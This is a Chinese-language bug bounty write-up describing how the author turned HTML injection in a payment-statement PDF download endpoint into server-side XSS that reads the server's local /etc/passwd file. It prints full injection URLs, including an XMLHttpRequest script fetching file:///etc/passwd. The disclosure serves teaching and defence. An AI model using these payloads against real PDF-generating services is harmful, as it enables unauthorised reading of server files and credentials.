导语:各位漏洞赏金猎人大家好,这一次要同大家分享一个我在Bugcrowd私有项目(xyz.com)中发现的漏洞,起初我以为没有太大的危害(P4),但后来漏洞危害被提升到了P1。

各位漏洞赏金猎人大家好,这一次要同大家分享一个我在Bugcrowd私有项目(xyz.com)中发现的漏洞,起初我以为没有太大的危害(P4),但后来漏洞危害被提升到了P1。

在浏览应用程序时,我发现了一个接口,该接口允许我们以PDF的方式下载某些支付说明文档,链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=xyz&date=2017-08-11&settlement_type=all&advice_id=undefined

我看到utrnumber的值直接被输出在下载的PDF文件里面,所以我在utrnumber参数中添加了一些HTML内容“> <S> aaa,如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber="><S>aaa &date=2017-08-11&settlement_type=all&advice_id=undefined

打开这个PDF后,我发现HTML已经在PDF被渲染并可视

1510813965687883.png

我尝试了一下是否可以使用iframe加载内部域名或者通过iframe的file协议读取/etc/passwd/的内容,但是都失败了!同时,我也没办法通过iframe加载外部域名,如下链接:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber="><iframe src="http://localhost"></iframe>&date=2017-08-11&settlement_type=all&advice_id=undefined

1510813982656335.png

测完上面的内容之后,我不知道到底接下来还能不能更进一步,因为我不确定是否可以在PDF中执行JavaScript。在做了更多的测试后,我发现可以通过DOM操作执行如下JavaScript:

<p id="test">aa</p><script>document.getElementById('test').innerHTML+='aa'</script>

链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<p id="test">aa</p><script>document.getElementById('test').innerHTML+='aa'</script>&date=2017-08-11&settlement_type=all&advice_id=undefined

下载PDF后,我发现内容中包含了“aaaa”

再过了一会,我发现我也可以使用document.write()函数更容易地显示结果。

<img src=x onerror=document.write('aaaa')>

链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<img src=x onerror=document.write('aaaa')>&date=2017-08-11&settlement_type=all&advice_id=undefined

1510814007167152.png

在此之后,我通过window.location检查了一下JavaScript执行所在的域,令我吃惊的是它在服务器的file://域下,链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<img src=x onerror=document.write('aaaa'%2bwindow.location)>&date=2017-08-11&settlement_type=all&advice_id=undefined

1510814023686179.png

既然它在file://域下执行,我尝试了一下是否可以通过XHR(XMLHttpRequest)的file请求读取/etc/passwd文件的内容,能否可行我也不是很清楚。

<script>
x=new XMLHttpRequest;
x.onload=function(){
document.write(this.responseText)
};
x.open("GET","file:///etc/passwd");
x.send();
</script>

链接如下:

https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>&date=2017-08-11&settlement_type=all&advice_id=undefined

然后就如同你看到的,它成功了!

1510814040634172.png

所以说这是一个通过服务端的XSS读取本地文件然后生成PDF的漏洞!

你可以看下为了测试这个漏洞,我下载了多少个PDF!:)

1510814058595807.png

源链接

Hacking more

...